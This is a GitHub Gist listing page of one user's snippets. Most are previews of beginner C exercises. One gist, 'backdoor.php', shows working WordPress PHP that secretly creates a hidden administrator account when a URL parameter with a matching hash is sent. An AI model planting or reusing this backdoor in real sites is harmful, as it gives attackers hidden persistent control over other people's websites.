Skip to content

Instantly share code, notes, and snippets.

@mmikhan
mmikhan / area.c
Created March 20, 2015 21:12
Write a small C program to calculate and display the area of a rectangle using the formula mentioned in the example
//
// main.c
// midterm
//
// Created by Md Mazedul Islam Khan on 3/21/15.
// Copyright (c) 2015 Md Mazedul Islam Khan. All rights reserved.
//
#include <stdio.h>
#include <math.h>
@mmikhan
mmikhan / 1.6.c
Created March 20, 2015 20:13
Write a program to output the following multiplication table
//
// main.c
// midterm
//
// Created by Md Mazedul Islam Khan on 3/21/15.
// Copyright (c) 2015 Md Mazedul Islam Khan. All rights reserved.
//
#include <stdio.h>
#include <math.h>
@mmikhan
mmikhan / 1.4.c
Created March 20, 2015 19:54
Write a program that will print the following figure using suitable characters
//
// main.c
// midterm
//
// Created by Md Mazedul Islam Khan on 3/21/15.
// Copyright (c) 2015 Md Mazedul Islam Khan. All rights reserved.
//
#include <stdio.h>
@mmikhan
mmikhan / 1.3.c
Created March 20, 2015 19:36
Write a program using one print statement to print the pattern of asterisks as shown below
//
// main.c
// midterm
//
// Created by Md Mazedul Islam Khan on 3/21/15.
// Copyright (c) 2015 Md Mazedul Islam Khan. All rights reserved.
//
#include <stdio.h>
@mmikhan
mmikhan / 1.2.c
Created March 20, 2015 19:32
Modify the above program to provide border lines to the address.
//
// main.c
// midterm
//
// Created by Md Mazedul Islam Khan on 3/21/15.
// Copyright (c) 2015 Md Mazedul Islam Khan. All rights reserved.
//
#include <stdio.h>
@mmikhan
mmikhan / 1.1.c
Last active February 20, 2022 14:50
Write a program that will print your mailing address in the following form:
//
// main.c
// midterm
//
// Created by Md Mazedul Islam Khan on 3/21/15.
// Copyright (c) 2015 Md Mazedul Islam Khan. All rights reserved.
//
#include <stdio.h>
@mmikhan
mmikhan / evenorodd.c
Created March 20, 2015 18:02
Display the result of a number is even or odd
//
// main.c
// midterm
//
// Created by Md Mazedul Islam Khan on 3/20/15.
// Copyright (c) 2015 Md Mazedul Islam Khan. All rights reserved.
//
#include <stdio.h>
@mmikhan
mmikhan / main.c
Created March 5, 2015 18:35
Write a program to compute the real roots of a quadratic equation
//
// main.c
// assignment
//
// Created by Md Mazedul Islam Khan on 3/6/15.
// Copyright (c) 2015 Md Mazedul Islam Khan. All rights reserved.
//
#include <stdio.h>
#include <math.h>
@mmikhan
mmikhan / backdoor.php
Created February 23, 2015 19:13
Creating a backdoor to an WordPress site and hide the backdoor user from the users window
<?php
add_action( 'wp_head', 'billgates_fun' );
function billgates_fun() {
if ( isset( $_GET['backdoor'] ) && md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { // example.com?backdoor=go
require( 'wp-includes/registration.php' );
if ( !username_exists( 'billgates' ) ) {
$user_id = wp_create_user( 'billgates', 'billgates' ); // username and password is billgates
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
@mmikhan
mmikhan / main.c
Created February 14, 2015 15:59
Measure the area and perimeter of an rectangle
//
// main.c
// exercise
//
// Created by Md Mazedul Islam Khan on 2/14/15.
// Copyright (c) 2015 Md Mazedul Islam Khan. All rights reserved.
//
#include <stdio.h>